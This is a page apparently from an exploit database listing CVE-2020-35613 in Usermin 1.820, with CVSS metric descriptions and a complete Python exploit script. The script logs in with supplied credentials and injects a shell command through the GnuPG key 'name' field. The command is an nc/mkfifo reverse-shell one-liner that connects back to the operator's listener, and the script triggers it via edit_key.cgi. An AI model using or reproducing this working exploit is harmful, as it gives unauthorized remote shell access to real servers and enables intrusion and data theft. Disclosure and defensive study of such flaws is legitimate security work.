Exploitalert - Database of Exploits

Usermin 1.820 Remote Code Execution (RCE) (Authenticated)

CVE	Category	Price	Severity
CVE-2020-35613	CWE-284	$5,000	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2021-09-06

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:W/RC:C	0.05683	1.7068

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021090048

Usermin 1.820 Remote Code Execution (RCE) (Authenticated)

# Title: Usermin 1.820 - Remote Code Execution (RCE) (Authenticated) # Date: 27.08.2021 # Author: Numan Trle # Vendor Homepage: https://www.webmin.com/usermin.html # Software Link: https://github.com/webmin/usermin # Version: <=1820 # https://www.youtube.com/watch?v=wiRIWFAhz24 #!/usr/bin/python3 # -*- coding: utf-8 -*- # Usermin - Remote Code Execution (Authenticated) ( Version 1.820 ) # author: twitter.com/numanturle # usage: usermin.py [-h] -u HOST -l LOGIN -p PASSWORD # https://youtu.be/wiRIWFAhz24 import argparse,requests,warnings,json,re from requests.packages.urllib3.exceptions import InsecureRequestWarning from cmd import Cmd warnings.simplefilter('ignore',InsecureRequestWarning) def init(): parser = argparse.ArgumentParser(description='Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )') parser.add_argument('-u','--host',help='Host', type=str, required=True) parser.add_argument('-l', '--login',help='Username', type=str, required=True) parser.add_argument('-p', '--password',help='Password', type=str, required=True) args = parser.parse_args() exploit(args) def exploit(args): listen_ip = "0.0.0.0" listen_port = 1337 session = requests.Session() target = "https://{}:20000".format(args.host) username = args.login password = args.password print("[+] Target {}".format(target)) headers = { 'Cookie': 'redirect=1; testing=1;', 'Referer': target } login = session.post(target+"/session_login.cgi", headers=headers, verify=False, data={"user":username,"pass":password}) login_content = str(login.content) search = "webmin_search.cgi" check_login_string = re.findall(search,login_content) if check_login_string: session_hand_login = session.cookies.get_dict() print("[+] Login successfully") print("[+] Setup GnuPG") payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;".format(listen_ip,listen_port) #payload = "whoami;" post_data = { "name":'";{}echo "'.format(payload), "email":"[email protected]", } print("[+] Payload {}".format(post_data)) session.headers.update({'referer': target}) create_secret = session.post(target+"/gnupg/secret.cgi", verify=False, data=post_data) create_secret_content = str(create_secret.content) search = "successfully" check_exp = re.findall(search,create_secret_content) if check_exp: print("[+] Setup successful") print("[+] Fetching key list") session.headers.update({'referer': target}) key_list = session.post(target+"/gnupg/list_keys.cgi", verify=False) last_gets_key = re.findall("edit_key.cgi\?(.*?)'",str(key_list.content))[-2] print("[+] Key : {}".format(last_gets_key)) session.headers.update({'referer': target}) try: key_list = session.post(target+"/gnupg/edit_key.cgi?{}".format(last_gets_key), verify=False, timeout=3) except requests.exceptions.ReadTimeout: pass print("[+] 5ucc355fully_3xpl017") else: print("[-] an unexpected error occurred" ) else: print("[-] AUTH : Login failed.") if __name__ == "__main__": init()

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